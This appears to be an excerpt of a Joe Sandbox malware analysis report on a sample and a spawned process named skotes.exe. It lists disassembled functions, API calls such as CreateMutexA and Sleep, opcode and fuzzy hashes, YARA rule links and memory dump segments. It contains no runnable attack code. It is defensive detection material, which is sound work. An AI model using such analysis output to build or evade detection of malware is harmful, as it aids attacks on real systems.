Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: c95adac215bc5cca0506ef7b0c26774d34d25cf8979c41d5149a31ce75e40678
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 6CE08C32921268EBCB15DF98D90498AF3ECEB49B00B650096F901D3150C270DE00CBD4

Function 0029CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0029CC66

Strings

v), xrefs: 0029CBE1

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v)
API String ID: 3213747228-3756446336
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 66550e2d0133cd2fa17909573d2ddcac394c55d298103f849a1d3249cd16b233
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 41B11472D242869FDF15CF28C8817AEBFE5EF49340F3441AAE895EB242D6348D11CB60

Function 00262EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00262F5F
__Mtx_unlock.LIBCPMT ref: 00262FCC
__Mtx_unlock.LIBCPMT ref: 002630F5
__Mtx_unlock.LIBCPMT ref: 0026319B

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction ID: de4089cf581e5e79145c0f9cd60ce5ae1405010e3e8a5f1953a7e9882e6d18f5
Opcode Fuzzy Hash: 5e8de039224b57483f75babc7716f28952e4bd9056623766967e0a5685436b20
Instruction Fuzzy Hash: 99A1D1B0A21206DFDB20DF74C844B9AB7B8FF15310F148169E819D7681EB31EA68CBD1

Function 0029F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0029F3A3

Strings

`',, xrefs: 0029F375
8",, xrefs: 0029F44B

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8",$`',
API String ID: 3903695350-3341778876
Opcode ID: 5238a33cc64bf3419c619f081507061c3ff4f6f193450bb63c87fcdce8dac833
Instruction ID: f2a262a16d700fbb62f9a488abce0d8a3d88fcddeca95aa38b8347de90daa4c8
Opcode Fuzzy Hash: 5238a33cc64bf3419c619f081507061c3ff4f6f193450bb63c87fcdce8dac833
Instruction Fuzzy Hash: 87316732620302DFEFA0AE39DA45B5B73E8EF00352F10443AE449D6595DE74E8A08B65

Analysis Process: skotes.exePID: 7524, Parent PID: 7340COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	606
Total number of Limit Nodes:	4

Executed Functions

Function 000F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,000F652A,?,?,?,?,?,000F7661), ref: 000F6567

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766255204.000000000032E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766268996.000000000032F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766281605.0000000000337000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766293520.000000000033C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766304744.000000000033D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766316665.000000000033F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766328795.0000000000346000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766340182.0000000000347000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766351541.0000000000348000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766362587.0000000000349000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766373841.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766385991.0000000000350000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766398344.0000000000359000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766409767.000000000035C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766422640.0000000000369000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766435058.000000000036A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766447979.0000000000377000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766460506.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766475159.000000000038E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000038F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766486929.000000000039B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766515823.00000000003B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766527695.00000000003B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766539661.00000000003C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766552012.00000000003C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766563060.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766574374.00000000003CC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766588176.00000000003CE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766601893.00000000003DE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766613519.00000000003DF000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 6e194ecfbfa53c3dfec23cf8ab220b042136f1a32e8d0b4f72daa1daf0bbf78d
Instruction ID: 1143ebc8b42e9b2e761cab6a833b1a05b8e244dc5be009106a58420dd9f1e8e3
Opcode Fuzzy Hash: 6e194ecfbfa53c3dfec23cf8ab220b042136f1a32e8d0b4f72daa1daf0bbf78d
Instruction Fuzzy Hash: 52E0863004050C6EDF25BB58C809DA83B6AEF51B49F045810FA1956926CB26EE81D540

Function 000C9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 000CA963
CreateMutexA.KERNELBASE(00000000,00000000,00123254), ref: 000CA981

Memory Dump Source

Source File: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000001.00000002.1765811667.00000000000C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765829717.0000000000122000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765878591.0000000000129000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765892446.000000000012B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765906930.0000000000135000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765919826.0000000000136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1765932467.0000000000137000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766015123.0000000000292000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766028285.0000000000295000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766042683.00000000002B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766067822.00000000002B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766079856.00000000002BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766092729.00000000002C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766104861.00000000002CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766120943.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766132686.00000000002E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766144954.00000000002ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766157300.00000000002F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766169660.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766182569.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766201955.0000000000317000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766215908.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766228439.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1766242096.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
